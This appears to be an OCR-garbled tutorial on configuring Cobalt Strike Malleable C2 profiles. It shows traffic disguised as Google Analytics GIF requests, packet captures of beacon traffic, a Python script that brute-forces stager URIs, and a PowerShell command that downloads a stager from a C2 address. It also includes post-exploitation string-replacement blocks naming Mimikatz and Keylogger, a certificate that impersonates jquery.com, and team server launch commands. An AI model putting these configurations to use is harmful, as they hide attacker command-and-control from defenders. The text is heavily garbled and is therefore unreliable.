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http-get {

set uri "/ _ utm. gif";

client {
parameter "utmac" "UA-2202604-2";
parameter "utmcn" "1";
parameter "utmcs" "ISO0-8859-1";
parameter "utmsr" "1280x1024";
parameter "utmsc" "32-bit";

parameter "utmul" "en-US";

metadata {
netbios;
prepend " utma";

parameter "utmcc";

server {

header "Content- Type" "image/gif";

output {
# hexdump pixel. gif
# 0000000 47 49 46 38 39 61 01 00 01 00 80 00 00 0O 00 00
# 0000010 ff ff ff 21 f9 04 01 00 00 00 60 2c 00 00 00 00


https://github.com/rsmudge/Malleable-C2-Profiles

# 0000020 01 00 01 00 60 02 01 44 00 3b

prepend "\x01\x00\x01\x00\x00\x02\x01\x44\x00\x3b";

prepend
"AXTFAXTFAXTFAX21\xF9\x04\x01\x00\x00\x00\x2c\x00\x00\x00\x00" ;

prepend
"\Xx47\x49\x46\x38\x39\x61\x01\x00\x01\x00\x80\x00\x00\x00\x00" ;

print;

http-post {
set uri "/__ utm. gif";
client {

header "Content- Type" "application/octet-stream";

id {
prepend "UA-220";
append "-2";
parameter "utmac";
}

parameter "utmcn" "1";
parameter "utmcs" "ISO-8859-1";
parameter "utmsr" "1280x1024";
parameter "utmsc" "32-bit";

parameter "utmul" "en-US";

output {

print;

server {

header "Content- Type" "image/gif";

output {
prepend "\x01\x00\x01\x00\x00\x02\x01\x44\x00\x3b";



prepend
AXFFAXTFAXTFAX21\ XTI\ x04\x01\x00\x00\x00\x2c\x00\x00\x00\x00" ;

prepend
"\Xx47\x49\x46\x38\x39\x61\x01\x00\x01\x00\x80\x00\x00\x00\x00" ;

print;

# dress up the staging process too
http-stager {
server {

header "Content- Type" "image/gif";

[(hittdiget [GET Sé¥ Ui [TT1T1T AL g TI40A/! [T

http-get {
set uri "/ utm. gif";
client {
parameter "utmac" "UA-2202604-2";
parameter "utmcn" "1";
parameter "utmcs" "ISO-8859-1";
parameter "utmsr" "1280x1024";
parameter "utmsc" "32-bit";
parameter "utmul" "en-US";
metadata {
netbios;
prepend " utma";
parameter "utmcc";
}
}
server {

header "Content- Type image/gif";

output {
# hexdump pixel. gif



# 0000000 47 49 46 38 39 61 01 00 01 0O 80 00 00 GO 00 00
# 0000010 ff ff ff 21 f9 04 01 00 00 00 00 2c 0O 0O 00 00
# 0000020 01 00 01 00 00 02 01 44 00 3b

prepend "\x01\x00\x01\x00\x00\x02\x01\x44\x00\x3b";

prepend
"AXTFAXTFAXTFAX21\ XTI\ X04\X01\x00\x00\x00\x2c\x00\x00\x00\x00" ;

prepend
"\Xx47\x49\x46\x38\x39\x61\x01\x00\x01\x00\x80\x00\x00\x00\x00" ;

print;

client [TTTTTKeMvH uie TdTRHatal TTT1111] BdEiioB THEhhEd [T][GErETITT]

Statement Action Inverse

append "string"  Append "string" Remove last LEN("string”) characters
base64 Base64 Encode Base64 Decode

baseé4url URL-safe Base64 Encode URL-safe Base64 Decode

mask XOR mask w/ random key XOR mask w/ same random key
netbios NetBIOS Encode ‘@’ NetBIOS Decode ‘a’

netbiosu NetBIOS Encode ‘A’ NetBIOS Decode ‘A’

prepend "string” = Prepend "string" Remove first LEN(“string”) characters

[Server [IMaf

pi dWEput AR T

[0 http-dettptplost (T Wireshark (ITITIIT]
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606 GET /__utm.gif?utmac=UA-2202604-2&utmcn=1&utmcs=150-88
96 HTTP/1.1 200 OK (GIF89a)

606 GET /__utm.gif?utmac=UA-2202604-2&utmcn=1&utmcs=IS0-8§
144 HTTP/1.1 200 OK (GIF89a)

473 POST /__ utm.gif?utmac=UA-2201358614282-2&utmcn=1&utmd]
96 HTTP/1.1 260 OK (GIF89a)

606 GET /__utm.gif?utmac=UA-2202604-2&utmcn=1&utmcs=IS0-8
96 HTTP/1.1 200 OK (GIF89a) 3
606 GET /__utm.gif?utmac=UA-2202604-2&utmcn=1&utmcs=IS0-8
144 HTTP/1.1 200 OK (GIF89a)

441 POST /___utm.gif?utmac=UA-2201090762308-2&utmcn=1&utmd]
96 HTTP/1.1 200 OK (GIF89a)

606 GET /_ utm.gif?utmac=UA-2202604-2&utmcn=1&utmcs=1S0-8
96 HTTP/1.1 200 OK (GIF89a)

606 GET /__utm.gif?utmac=UA-2202604-2&utmcn=1&utmcs=IS0-8
96 HTTP/1.1 200 OK (GIF89a)

606 GET /__utm.gif?utmac=UA-2202604-2&utmcn=1&utmcs=IS0-8
96 HTTP/1.1 200 OK (GIF89a)

606 GET /__utm.gif?utmac=UA-2202604-2&utmcn=1&utmcs=IS0-8
96 HTTP/1.1 200 OK (GIF89a)

606 GET /_ utm.gif?utmac=UA-2202604-2&utmcn=1&utmcs=1S0-8
96 HTTP/1.1 200 OK (GIF89a)

[T GET T VRIOTTT T Timetadata [TTTTTTTITTT]

GET /__utm.gif?utmac=UA-2202604-2&utmcn=1&utmcs=I50-8859-1&utmsr=1280x1024&utmsc=32-bi
t&utmul=en-US&utmcc=_ utmaepbghajpdnneibdchgnaejmpncadjpadmgbplaajggfbbjohadnpglclbgjd
pffjlkbgkmmhhchnagbjaihbnjbfnfaacbofigmemcihdboimeojhglpoohbppihpleblcjonegklibheelcfk
ipicljjenlcnhidighblnhildbnnmilhkifimbebmmgmaffnbfpjgplkmgijkbohdajpdbfggbplbkjgmafaic
flnjmbjopakkeojeldaceecl HTTR/1.1
Accept: */*
User-Agent: Mozilla/5.0 (compatible; MSIE 9.8; Windows NT 6.8; Trident/5.0; BOIE9;ENUS

Host: 18.08.08.181
Connection: Keep-Alive

Cache-Control
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POST / utm.gif?utmac=UA-2201358614282-2&utmcn=1&utmcs=IS0-8859-1&utmsr=1280x1024&utm
sc=32-bit&utmul=en-US HTTP/1.1

application/octet-stream
User-Agent: Mozilla/5.8 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0; BOIE9;ENUS

Host: 10.0.0.181
Content-Length: 68
Connection: Keep-Alive
Cache-Control: no-cache

...8j..6..=0a....a..yB...1l.j/....#.({.B....
S_.&....[..Q..*.Y.gHTTP/1.1 200 O

Date: Tue, 18 Oct 2023 19:55:44 GM
Content-Type: image/gif

Content-Length: 48

[HYtip]Stager [Hiageless [TTTITITT] CobaltStrike Agent[T1T]200-300 KBTI
OPSEC [TITTTIT] CobaltStrike [TTTTT]

CobaltStrike [ERecksum8 [JURL [TTIIITIIIIIIIII

public static long checksum8(String text) {
if (text. length() < 4) {
return OL;
}
text = text.replace("/", "");
long sum = OL;
for (int x = 0; x < text. length(); x++) {

sum += text. charAt(x);

return sum % 256L;

public static boolean isStager(String uri) {

return (checksum8(uri) == 92L);

public static boolean isStagerX64(String uri) {
return (checksum8(uri) == 93L && uri.matches("/[ A-Za-z0-9]{4}"));
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[ITTTTTIT] Python [TTITTITITIT URIQ

from itertools import product

import string

def checksum8(strr):
j =0
if len(strr) < 4
return 0
strr = strr.replace("/", "")
for c in strr:
j += ord(c)

return j % 256

chars = string. ascii letters + string.digits
to attempt = product(chars, repeat=4)
for attempt in to attempt:
word = ''. join(attempt)
r = checksum8( word)
if r == 92:
print("{: 30} - 32b checksum". format(word))
elif r == 93:
print("{: 30} - 64b checksum". format(word))

~/Desktop/cs
checksum8. py

12b checksum

8 b checksum
F i12b checksum
checksum

checksum

checksum

checksum

sum

checksum

checksum

checksum

checksum

(11 GEaBITIIT] 64 1111
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PS C:\Users\Administrator> iwr http://10.0.0.101/aabb

PS C:\Users\Administrator> iwr http://10.0.0.101/aab9

StatusCode 1 200

StatusDescription : OK

Content : {252, 72, 131, 228...}

RawContent : HTTP/1.1 200 OK
Content-Length: 262727
Content-Type: image/gif
Date: Tue, 10 Oct 2023 20:49:26 GMT

%27
'i7AL~7 7-’C|\7 Q\

Headers : {[Content-Length, 262727], [Content-Type, image/gif], [Date, Tue, 10 Oct 2023 20:49:26 GMT]}
RawContentLength : 262727

GET /aab9 HTTP/1.1
User-Agent: Mozilla/5.@ (Windows NT; Windows NT 10.0;

n-US) WindowsPowerShell/5.1.22

HTTP/1.1 2600 0
Date: Tue, 10 Oct 2023 20:49:26 GM
Content-Length: 262727
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set host stage "false";
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(1111 C2 3ed¢on [114DdatHu ke T TTTTTITTTIIT]

Cobalt Strike’

Adversary Simulations and
Red Team Operations REQUEST PRICING PRODUCT ¥

A new Malleable C2 option, post-ex.cleanup, has been added to specify whether or not to clean up the
post-exploitation reflective loader memory when the DLL is loaded. We have also added the post-
ex.transform-x64 and post-ex.transform-x86 blocks to the post-ex Malleable C2 block. Both new
blocks support the strrep option, which replaces a string in all post-exploitation DLLs, and strrepex
which replaces a string within a specific post-exploitation DLL. Valid DLL names are BrowserPivot,
ExecuteAssembly, Hashdump, Keylogger, Mimikatz, NetView, PortScanner, PowerPick, Screenshot, and
SSHAgent. For example:

post-ex {
# cleanup the post-ex UDRL memory when the post-ex DLL is loaded
set cleanup "true";

transform-x64 {
# replace a string in the port scanner dll
strrepex "PortScanner" "Scanner module is complete

now

Scan is comple

# replace a string in all post exploitation dlls
strrep "is alive." "is up.";

¥

transform-x86 {
# replace a string in the port scanner dll
strrepex "PortScanner" "Scanner module is complete

now

Scan is comple

NNNNRRNERRNRRRNNNNN]

https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics/mallea

ble-c2_profile-language.htm )

A T e PR TR Es [ ENd B 1d¢ M [T i TéXPrésSBalleable-c2 [TIT] Cobalt Strike

[T SSL I

openssl req -new -newkey rsa: 4096 -x509 -sha256 -days 365 -nodes -out public.crt -keyout
private. key

openssl req -new -key private. key -out raven. csr
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T T R Kesib2: [STKE TREYTAI TTITIdvVa [TT1T]

openssl pkcsl2 -inkey private. key -in public.crt -export -out azure. pkcsl2

keytool -importkeystore -srckeystore ts.pkcsl2 -srcstoretype pkcsl2 -destkeystore azure. store

(T CObETTTiKe g EETTike [TT1



https://raven-medicine.com/uploads/images/gallery/2023-10/kbGQgbdk6d966IuL-image.png
https://raven-medicine.com/uploads/images/gallery/2023-10/IVmbpRobcExWzo5L-image.png
https://raven-medicine.com/uploads/images/gallery/2023-10/iX06ooFTadujxcas-image.png

(hiEkRsi€ertificate [TTTTIT] HTTPS [ Beacon [T OPSEC [ITTIITIIIII

(1]

https-certificate {

#set keystore " /pathtokeystore";

#set password "password";

set C "ys";

set CN "jquery.com";

set 0 "jQuery";

set OU "Certificate Authority";
set validity "365";

(1]

https-certificate {
set keystore "azure. store";

set password "123456"


https://raven-medicine.com/uploads/images/gallery/2023-10/KD7vt1kkj9Fn64BZ-image.png

11T teamkewpshone [TTT11]

# start the team server.
java - XX: ParallelGCThreads=4 -Dcobaltstrike. server port=49227 -
Dcobaltstrike. server bindto=0. 0. 0. 0 -Djavax. net. ssl. keyStore=. /azure. store -

Djavax. net. ssl. keyStorePassword=123123 -server -XX: +AggressiveHeap - XX: +UseParallelGC -

classpath . /cobaltstrike. jar:. -Duser. language=en server. TeamServer $*
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TS 0esesaiMad TTTTTT1 57 [TT111]

# start the team server.
java - XX: ParallelGCThreads=4 -Dcobaltstrike. server port=49227 -
Dcobaltstrike. server bindto=0. 0. 0. 0 -Djavax. net. ssl. keyStore=. /cobaltstrike. store -

Djavax. net. ssl. keyStorePassword=123456 -server -XX: +AggressiveHeap - XX: +UseParallelGC -

classpath . /cobaltstrike. jar:. -Duser. language=en server. TeamServer $*
[(PaurcdPoint(https://github.com/Tylous/SourcePoint) [TTTTITIIIT C2 QI yam! 117

Stage: "False"

Host: "azuresky. live"
Keystore: "azure.store"
Password: "123123"
Metadata: "netbios"
Injector: "VirtualAllocEx"
Qutfile: "sp.profile"
PE Clone: 20

Profile: 4

Allocation: 5312
Jitter: 30

Debug: true
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Sleep: 35

Uri: 3

Useragent: "Innocent"
Post-EX Processname: 11
Datajitter: 40

Keylogger: "SetWindowsHookEXx"
Customuri:

CDN:

CDN Value:

ProfilePath:

Forwarder: True

(II11 sourcepoint [11] yam! [ITTITIT] C2 111

n in Memory Prior tc

# Task and Proxy Max Size
#set tasks max size "1048576";
#set tasks proxy max size "921600";

#set tasks dns proxy max size "71680";

(111 C2 lint OTTITITI
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